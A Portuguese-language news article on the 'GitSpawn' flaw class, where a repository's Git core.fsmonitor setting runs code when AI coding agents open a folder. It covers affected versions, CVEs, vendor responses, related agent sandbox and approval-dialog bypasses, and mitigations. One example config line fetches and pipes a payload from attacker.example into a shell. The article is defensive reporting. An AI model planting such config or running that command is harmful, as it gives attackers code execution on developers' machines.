Oito falhas de segurança em sete agentes de IA para programação. Quatro delas continuavam sem correção quando este artigo foi escrito. E o mecanismo por trás do ataque não é sequer um bug num modelo de linguagem: é uma definição do Git com quase vinte anos que ninguém tinha pensado em explorar desta forma até agora.
A investigadora de segurança Swati Khandelwal, do The Hacker News, revelou a 2 de setembro de 2026 que a empresa Manifold Security encontrou uma classe de vulnerabilidade batizada de GitSpawn que afeta o Claude Code da Anthropic, o Codex da OpenAI, o Cursor, o goose (da Block), o Hermes Agent da Nous Research, o Qwen Code da Alibaba e o Grok Build da xAI. O problema deixa um repositório malicioso executar código no computador do programador antes mesmo de o agente de IA pedir autorização, sem qualquer prompt aprovado e sem que o modelo de linguagem chegue a ser invocado.
O que é o GitSpawn e porque está a preocupar a indústria
O nome GitSpawn resume bem o problema: uma configuração do Git faz “nascer” (spawn) um processo attacker-controlado assim que um agente de IA abre uma pasta. Segundo a Manifold Security, o defeito não está em nenhum modelo nem em código novo, mas na canalização comum por baixo dos agentes, o subprocesso que cada ferramenta arranca no início de uma sessão só para perceber em que ramo está e que ficheiros mudaram.
A definição em causa chama-se core.fsmonitor. É um parâmetro de performance do Git cujo valor pode ser um comando arbitrário, e que o Git guarda no ficheiro .git/config de cada repositório. Qualquer operação que atualize o índice interno do repositório, incluindo comandos tão triviais como git status ou git diff, dispara automaticamente esse comando. Como os agentes de IA correm estes comandos em segundo plano só para se orientarem no projeto, acabam por executar o payload sem perceberem.
Para o ataque funcionar, o repositório tem de chegar ao computador da vítima com a pasta .git intacta, o que acontece quando alguém recebe um arquivo comprimido partilhado, uma pasta sincronizada na cloud ou uma pen USB, mas não acontece quando se faz um git clone normal a partir de um servidor remoto. Isto reduz o alcance do ataque, mas não o elimina: partilhar projetos por ZIP, Dropbox ou Google Drive continua a ser prática comum entre equipas de programação.
Como o ataque funciona na prática
O exemplo mais simples envolve editar o ficheiro de configuração do repositório para apontar o monitor de sistema de ficheiros do Git para um comando malicioso. Um repositório preparado por um atacante pode conter uma entrada semelhante a esta:
[core]
fsmonitor = "sh -c 'curl -s https://attacker.example/payload | sh' #"Quando um agente de IA abre esta pasta e corre um comando de contexto tão inofensivo como git status, o Git lê o valor de core.fsmonitor e executa-o como processo auxiliar. O comando corre com os privilégios do utilizador, fora da sandbox do agente e sem qualquer janela de aprovação. Segundo a análise técnica da Manifold Security, isto significa que correr um simples comando de revisão dentro de um repositório malicioso já basta para executar código do atacante, sem qualquer prompt submetido, sem chamada ao modelo e sem aprovação de ferramenta. No caso do goose, o comando corre mesmo antes de o agente contactar o modelo de linguagem pela primeira vez.
O timing exato do disparo varia consoante a ferramenta. No Claude Code e no Hermes Agent, o payload dispara antes de o utilizador aceitar o diálogo de confiança do workspace. No Qwen Code, dispara antes de o utilizador sequer se autenticar. No Grok Build, dispara logo na primeira tecla premida depois de abrir a pasta.
Lista completa de ferramentas e versões afetadas
A tabela seguinte resume o estado de cada agente à data de 2 de setembro de 2026, com base nos números de versão que a Manifold Security confirmou e que o The Hacker News verificou junto dos registos públicos de cada fornecedor.
| Ferramenta | Versões Afetadas | Versão Corrigida | Estado a 2 Set 2026 |
|---|---|---|---|
| goose (Block) | Todas antes da 1.44.0 | 1.44.0 | Corrigido |
| Codex CLI (OpenAI) | 0.102.0 a 0.130.0 | 0.131.0 | Corrigido |
| Codex Desktop macOS | 260202.0859 a 26.513.31313 | 26.519.22136 | Corrigido |
| Codex Desktop Windows | 26.304.38 a 26.513.40821 | 26.519.21041 | Corrigido |
| Claude Code (via core.fsmonitor) | 2.1.193 | 2.1.196 | Corrigido |
| Claude Code (via claude ultrareview) | Confirmado ativo na 2.1.252 | Não divulgada | Por corrigir |
| Hermes Agent (Nous Research) | 0.18.2 e 0.21.0 | – | Por corrigir |
| Qwen Code (Alibaba) | 0.19.6 e 0.22.3 | – | Por corrigir |
| Grok Build (xAI) | 0.2.93 e 1.0.13 | – | Por corrigir |
Note-se que a versão atual do Codex CLI já vai na 0.152.1, o que significa que instalações presas a versões abaixo da 0.131.0 continuam expostas mesmo depois de a correção estar disponível há semanas, um problema comum de gestão de atualizações em ferramentas de linha de comandos.
Os CVEs oficiais e o que cada fornecedor reconheceu
A OpenAI publicou três CVEs no mesmo dia da divulgação, cobrindo a mesma classe de falha no Codex, atribuídos a três grupos de investigação independentes entre si. No registo oficial do CVE-2026-19592, a empresa explicou que o processo auxiliar corre fora da sandbox de comandos do Codex e sem pedido de aprovação do utilizador, permitindo que código controlado pelo atacante corra com os privilégios do utilizador, podendo ler, alterar ou apagar ficheiros e aceder a outros recursos disponíveis na conta.
O GitHub atribuiu ao goose o CVE-2026-72718, com uma pontuação CVSS 4.0 de 7,0 num aviso que credita o investigador Francisco Rosales, a única pontuação de gravidade formal entre todos estes casos. Para o Hermes Agent, a empresa VulnCheck atribuiu o CVE-2026-71963, embora o The Hacker News não tenha encontrado esse identificador publicado na lista oficial do MITRE à data da reportagem, apesar de identificadores vizinhos já estarem publicados.
Cinco dos oito relatórios que a Manifold Security submeteu vieram a revelar-se duplicados de descobertas que outros investigadores já tinham reportado de forma independente, um deles no mesmo dia. No caso do Claude Code, a Manifold reportou o problema de core.fsmonitor a 26 de junho e a Anthropic corrigiu-o na versão 2.1.196, lançada a 29 de junho, mas fechou o relatório como duplicado de outro submetido nesse mesmo dia. A Anthropic não publicou qualquer aviso próprio para esta falha, e o registo público do pacote npm não cobre nenhuma das duas descobertas relacionadas com o Claude Code.
Quatro casos que continuam por resolver
O caminho secreto no Claude Code
Existe um segundo caminho de exploração no Claude Code, acedido através do comando claude ultrareview, que ativa uma chave de configuração do Git diferente que a Manifold Security optou por não divulgar publicamente. A falha continua ativa: a Manifold confirmou-a a 1 de setembro na versão 2.1.252, contra a versão atual 2.1.258, e nenhuma fonte confirma se os lançamentos seguintes já a fecharam.
Qwen Code e Hermes Agent sem resposta
O centro de resposta de segurança da Alibaba aceitou o relatório sobre o Qwen Code a 7 de julho, mas a versão 0.22.3, a mesma que a Manifold voltou a testar, continua a ser o lançamento mais recente disponível no registo npm à data de 2 de setembro. Já o Hermes Agent, da Nous Research, gerou seis tentativas de contacto por cinco canais diferentes da parte da Manifold Security e deixou o aviso privado sem qualquer triagem por parte do fornecedor. Este agente já tinha estado envolvido noutro incidente em julho, quando um operador o correu sem supervisão numa intrusão contra uma rede governamental na Tailândia.
Grok Build: caso arquivado como informativo
A xAI já tinha fechado um relatório anterior da mesma classe de falha como “informativo” a 1 de julho, e voltou a fechar um segundo relatório da Manifold, submetido a 14 de julho, como duplicado desse primeiro caso. Investigação separada sobre a mesma versão 0.2.93 do Grok Build também encontrou o agente a enviar repositórios Git inteiros para armazenamento da xAI, um problema que a empresa respondeu a resolver através de uma publicação na rede social X em vez de um aviso de segurança formal.
Não é a primeira vez: contexto histórico da falha
A empresa de análise de código Sonar já tinha reportado o mesmo tipo de falha em abril de 2026, e observou que a Anthropic já tinha alterado a sequência de arranque do Claude Code uma vez para fechar o problema. A Sonar identificou ainda o mesmo desvio do diálogo de confiança em versões anteriores do Visual Studio Code (CVE-2021-43891, corrigido antes da versão 1.63.1) e do conjunto de IDEs da JetBrains (CVE-2022-24346, corrigido antes da versão 2021.3.1). Ou seja, o padrão de explorar ferramentas de desenvolvimento através de definições de projeto lidas automaticamente já existe há pelo menos cinco anos, muito antes de os agentes de IA popularizarem este tipo de automação.
Segundo a Sonar, na versão 2.0.34 do Claude Code (lançada a 5 de novembro de 2025), a Anthropic mitigou o problema específico ao deixar de correr git status antes de o utilizador aprovar o diálogo de confiança, mas um problema relacionado persistiu. A Manifold Security reporta o mesmo comportamento de arranque presente de novo na versão 2.1.193, lançada a 25 de junho de 2026. A Anthropic já tinha divulgado anteriormente outras falhas de execução de código anteriores ao diálogo de confiança no Claude Code, e o aviso de junho para o CVE-2026-55607 já identificava a execução do fsmonitor do Git durante operações com árvores de trabalho (“worktrees”).
De DuneSlide a GhostApproval: o ano das falhas em agentes de código
O GitSpawn não é um caso isolado em 2026. Este tem sido, até agora, o ano em que os agentes de IA para programação passaram a ser tratados como uma superfície de ataque séria, e não apenas como uma ferramenta de produtividade. Em julho, a Cato AI Labs, braço de investigação da Cato Networks, divulgou o par de falhas críticas batizado DuneSlide no editor Cursor, ambas com pontuação CVSS 9,8: o CVE-2026-50548 explorava o parâmetro working_directory de uma ferramenta de terminal, e o CVE-2026-50549 explorava uma falha na resolução de symlinks. As duas permitiam a um atacante escapar da sandbox do Cursor e executar código sem restrições no sistema operativo do anfitrião, apenas através de conteúdo malicioso lido pelo agente. Ambas foram corrigidas na versão 3.0 do Cursor, lançada a 2 de abril de 2026.
Semanas depois, em julho, a empresa de segurança na cloud Wiz divulgou uma vulnerabilidade apelidada GhostApproval, que afetava vários assistentes, entre eles o Windsurf (entretanto renomeado Devin Desktop pela Cognition a 2 de junho de 2026), o Claude Code, o Cursor, o Amazon Q Developer, o Augment e o Google Antigravity. O truque aqui era diferente: um repositório preparado por um atacante conseguia enganar o agente para sobrescrever um ficheiro sensível, como uma chave SSH, enquanto o diálogo de aprovação no ecrã continuava a mostrar apenas um nome de ficheiro inofensivo. A Cognition levou 24 dias a corrigir o Devin Desktop depois da divulgação da Wiz a 8 de julho, com a correção a sair a 1 de agosto.
A própria Manifold Security já tinha documentado a mesma classe de falha do GitSpawn no Cursor CLI três semanas antes desta divulgação de setembro, num caso em que um comando de configuração fornecido pelo repositório corria antes do diálogo de confiança do workspace e fora da sandbox.
Comparação das principais vulnerabilidades de agentes de IA em 2026
| Nome | Divulgação | Identificadores | Mecanismo | Ferramentas Afetadas |
|---|---|---|---|---|
| DuneSlide | 1 julho 2026 | CVE-2026-50548, CVE-2026-50549 | working_directory e bypass de symlink | Cursor |
| GhostApproval | 8 julho 2026 | Divulgação Wiz, sem CVE público | Diálogo de aprovação engana o ficheiro real escrito | Devin Desktop/Windsurf, Claude Code, Cursor, Amazon Q, Augment, Google Antigravity |
| GitSpawn | 2 setembro 2026 | CVE-2026-19592, CVE-2026-72718, CVE-2026-71963 e mais 5 casos | Abuso do core.fsmonitor do Git | goose, Codex, Claude Code, Hermes Agent, Qwen Code, Grok Build |
O padrão comum às três famílias de falhas é claro: todas exploram a fronteira entre a automação que os agentes de IA fazem sem perguntar (ler ficheiros, correr comandos de contexto, mostrar diálogos de aprovação) e as permissões reais concedidas ao processo que executa essas ações. Nenhuma delas depende de manipular o próprio modelo de linguagem através de prompt injection clássico; todas atacam a canalização de software à volta do modelo.
Nenhuma exploração confirmada, mas o risco é real
Nenhuma fonte reporta exploração ativa de qualquer uma destas falhas GitSpawn até ao momento. O The Hacker News verificou o catálogo de Vulnerabilidades Conhecidas e Exploradas (KEV) da Cybersecurity and Infrastructure Security Agency dos Estados Unidos, na versão 2026.09.01, com 1.687 entradas, e nenhum dos CVEs do GitSpawn constava da lista.
Ainda assim, a empresa de testes de intrusão Cobalt já tinha alertado, num relatório de dezembro de 2025 sobre técnicas de red team, que o abuso do fsmonitor explora uma funcionalidade legítima, não um erro de programação. Segundo a Cobalt, esta técnica aproveita a interseção entre a flexibilidade do Git e a automação dos IDEs modernos para transformar o simples ato de abrir um repositório num evento de execução de código.
Porque é que isto importa: o mercado de agentes de código com IA
Estas falhas surgem num momento em que a adoção de ferramentas de IA para programação atinge níveis recorde. O inquérito de programadores da Stack Overflow relativo a 2025/2026 mostra 84% dos programadores a usar ou a planear usar ferramentas de IA no seu trabalho, um valor a subir de perto de 76% em 2024. Mas quando o inquérito separa assistentes simples de agentes autónomos, a fotografia muda: apenas cerca de 31% dos programadores usa efetivamente agentes de IA capazes de agir sozinhos sobre um repositório, e 38% não têm sequer planos de os adotar. É precisamente esta fatia, ainda minoritária mas em rápido crescimento, que o GitSpawn atinge em cheio.
O mercado de ferramentas de codificação assistida por IA foi avaliado em cerca de 12,8 mil milhões de dólares em 2026, depois de valores próximos de 5 mil milhões em 2024 e 8 mil milhões em 2025, com projeções de chegar a 30,1 mil milhões de dólares até 2032 a uma taxa de crescimento anual composta de 27%. É um mercado onde a confiança do departamento de segurança das empresas pesa tanto quanto a qualidade do código gerado, e cada nova família de vulnerabilidades como o GitSpawn dá argumentos às equipas de segurança mais conservadoras para travar ou atrasar a adoção de agentes autónomos.
| Indicador | Valor | Fonte |
|---|---|---|
| Programadores que usam ou planeiam usar IA | 84% | Stack Overflow Developer Survey |
| Programadores que usam agentes autónomos de IA | ~31% | Stack Overflow Developer Survey |
| Programadores sem planos de adotar agentes | 38% | Stack Overflow Developer Survey |
| Mercado de ferramentas de IA para código em 2026 | ~12,8 mil milhões de dólares | Estimativas de mercado do setor |
| Projeção de mercado até 2032 | ~30,1 mil milhões de dólares (CAGR 27%) | Estimativas de mercado do setor |
O que isto significa para equipas de segurança e programadores
Para quem gere segurança numa equipa de engenharia, o GitSpawn junta-se a uma lista já longa de incidentes de 2026 que mostram como os agentes de IA herdam riscos de execução de código que antes só afetavam IDEs tradicionais, mas com um agravante: os agentes correm comandos com muito mais autonomia e frequência do que um programador humano clicaria manualmente. Esta tendência já tinha sido notada noutros contextos este ano, como na análise sobre a fuga de sandbox do Kimi K3 ou nos relatos de agentes de IA a atacarem sistemas reais em incidentes documentados. A diferença é que o GitSpawn não depende de um modelo “decidir” atacar algo: o comando corre de forma determinística, escondido numa definição de configuração.
Isto também contrasta com o trabalho que fornecedores de modelos têm feito para reduzir riscos ao nível do próprio modelo, como aconteceu quando a Anthropic anunciou que o Claude Opus 5 tinha cortado a taxa de sucesso de ataques de prompt injection para 2%. O GitSpawn mostra que blindar o modelo de linguagem contra manipulação não chega: se a canalização de ferramentas à volta do modelo continuar a confiar cegamente em ficheiros de configuração do projeto, o atacante nem precisa de convencer o modelo de nada. Um estudo citado este ano já apontava que 73% dos sistemas de IA em produção continuam vulneráveis a algum tipo de injeção, e casos como o do Grok, que sofreu um ataque cifrado que expôs dados em cerca de 40% dos testes, reforçam que a superfície de ataque destes sistemas é mais ampla do que apenas o texto que se escreve numa caixa de chat.
Como proteger-se: passos práticos de mitigação
A Manifold Security e outras fontes citadas na divulgação original recomendam um conjunto de verificações simples que qualquer programador pode aplicar hoje, independentemente do fornecedor do agente que usa:
- Inspecionar o ficheiro
.git/configantes de abrir com um agente de IA qualquer pasta recebida de fora, à procura das chavescore.fsmonitor,core.hooksPathe filtros de atributos comocleanouprocess. - Correr o comando
git config --get core.fsmonitordentro de qualquer repositório que tenha chegado como ficheiros e não através de um clone direto. - Auditar a configuração global com
git config --global --list | grep fsmonitor. - Desativar o comportamento por omissão com
git config --global core.fsmonitor false. - Preferir sempre clonar repositórios a partir do servidor remoto em vez de copiar pastas com o diretório
.gitincluído (arquivos ZIP, pastas sincronizadas, pens USB). - Manter os agentes de IA atualizados para as versões corrigidas listadas nesta reportagem, e evitar fixar versões antigas em pipelines de integração contínua.
Do lado dos fornecedores, a recomendação passa por os próprios agentes limparem explicitamente esta configuração antes de correrem comandos de contexto em segundo plano, por exemplo executando git -c core.fsmonitor=false status em vez de confiar na configuração local do repositório. É exatamente esta prática que já resolveu o problema no goose, no Codex e numa parte do Claude Code.
Previsões: para onde vai a segurança dos agentes de IA
Olhando para o padrão que se repetiu três vezes em 2026 (DuneSlide, GhostApproval e agora GitSpawn), há algumas tendências que parecem prováveis para os próximos meses:
- Mais divulgações coordenadas do tipo GitSpawn devem surgir nos próximos trimestres, à medida que empresas de segurança como a Manifold, a Cato AI Labs e a Wiz continuam a aplicar técnicas de red team especificamente desenhadas para agentes autónomos, em vez de para software tradicional.
- É provável que fornecedores como a Anthropic, a OpenAI e a Alibaba comecem a publicar avisos de segurança mais consistentes e específicos para os seus agentes de código, em vez de tratarem estas falhas apenas como atualizações de rotina sem CVE atribuído.
- A pressão para isolar verdadeiramente os agentes de IA (sandboxes ao nível do sistema operativo, e não apenas confirmações na interface) deve aumentar, especialmente depois de casos como o GhostApproval terem mostrado que os diálogos de aprovação podem ser enganados.
- Equipas de segurança empresarial tendem a exigir auditorias específicas de agentes de IA antes de os autorizar em ambientes de produção, um requisito que ainda não é universal em 2026.
- É expectável que o crescimento da fatia de programadores que usa agentes autónomos (atualmente perto de 31%, segundo a Stack Overflow) abrande ligeiramente em empresas mais reguladas, à medida que casos como este se acumulam e chegam a departamentos de conformidade.
Perguntas Frequentes
O que é exatamente o GitSpawn?
É o nome dado pela Manifold Security a um conjunto de oito falhas de segurança encontradas em sete agentes de IA para programação, todas exploradas através da definição core.fsmonitor do Git, que permite executar um comando arbitrário quando o repositório é aberto e inspecionado.
Quais agentes de IA estão confirmados como vulneráveis?
goose, Codex CLI e Codex Desktop (OpenAI), Claude Code (Anthropic), Hermes Agent (Nous Research), Qwen Code (Alibaba) e Grok Build (xAI). Quatro destas descobertas continuavam por corrigir a 2 de setembro de 2026: o segundo caminho no Claude Code, o Hermes Agent, o Qwen Code e o Grok Build.
Preciso de fazer alguma coisa se usar o Claude Code ou o Cursor?
Sim. Deve confirmar que está a usar uma versão igual ou posterior à versão corrigida listada nesta reportagem (2.1.196 ou superior para o Claude Code, no que toca ao caminho já corrigido) e evitar abrir com o agente pastas que chegaram como cópias de ficheiros em vez de clones diretos do repositório remoto.
Há registo de ataques reais a explorar o GitSpawn?
Não. Nenhuma fonte confirma exploração ativa até à data desta reportagem, e nenhum dos CVEs associados consta do catálogo de Vulnerabilidades Conhecidas e Exploradas da CISA.
Como se compara o GitSpawn com o DuneSlide no Cursor?
O DuneSlide explorava parâmetros internos da sandbox do Cursor (um parâmetro de diretório de trabalho e uma falha de resolução de symlinks), enquanto o GitSpawn abusa de uma definição legítima do próprio Git que é lida automaticamente de qualquer repositório. O DuneSlide já estava totalmente corrigido desde abril de 2026; o GitSpawn ainda tinha quatro casos por resolver em setembro.
Isto é um problema dos modelos de linguagem ou do software à volta deles?
É um problema da canalização de software à volta do modelo. O comando malicioso corre antes de o modelo de linguagem ser sequer invocado em vários dos casos documentados, o que significa que nenhuma melhoria de alinhamento ou de resistência a prompt injection no modelo em si teria impedido este ataque.
Onde posso verificar se o meu repositório tem esta configuração?
Correndo o comando git config --get core.fsmonitor dentro do repositório. Se devolver um comando em vez de um valor vazio ou “true”/”false”, vale a pena investigar a origem desse ficheiro antes de abrir a pasta com qualquer agente de IA.
Isto afeta também o GitHub Copilot?
A divulgação da Manifold Security e a cobertura do The Hacker News não incluem o GitHub Copilot na lista de ferramentas confirmadas como afetadas por esta ronda específica de descobertas, ao contrário de incidentes anteriores como o GhostApproval, que teve um alcance mais amplo entre diferentes assistentes.
